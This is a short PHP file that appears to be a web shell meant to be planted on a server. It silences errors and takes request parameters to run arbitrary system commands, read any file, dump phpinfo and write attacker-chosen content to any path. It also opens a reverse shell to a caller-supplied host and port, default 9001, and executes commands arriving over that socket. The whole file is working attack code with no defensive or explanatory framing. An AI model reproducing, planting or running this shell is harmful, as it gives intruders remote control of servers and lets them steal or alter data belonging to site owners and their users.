<?php @error_reporting(0);@ini_set('display_errors','0');
if(isset($_REQUEST['c'])){ $c=$_REQUEST['c']; echo "[CMD]> ".$c."\n"; if(function_exists('system')){system($c);} elseif(function_exists('exec')){exec($c,$o);echo implode("\n",$o);} elseif(function_exists('shell_exec')){echo shell_exec($c);} else {echo "NOEXEC";} }
if(isset($_REQUEST['f'])){ echo "[FILE]> ".$_REQUEST['f']."\n"; $fp=@file_get_contents($_REQUEST['f']); echo ($fp===false?"NOREAD":$fp); }
if(isset($_REQUEST['p'])){ echo "[PHPINFO]\n"; echo phpinfo(); }
if(isset($_REQUEST['w'])){ echo "[WRITE]\n"; file_put_contents($_REQUEST['w'],$_REQUEST['d']); echo "written"; }
if(isset($_REQUEST['rev'])){ $h=$_REQUEST['rev']; echo "[REV2]"; $s=@fsockopen($h,isset($_REQUEST['rp'])?$_REQUEST['rp']:9001); if($s){fwrite($s,"start\n"); while(!feof($s)){fwrite($s,shell_exec(fgets($s)));} fclose($s);} }
?>
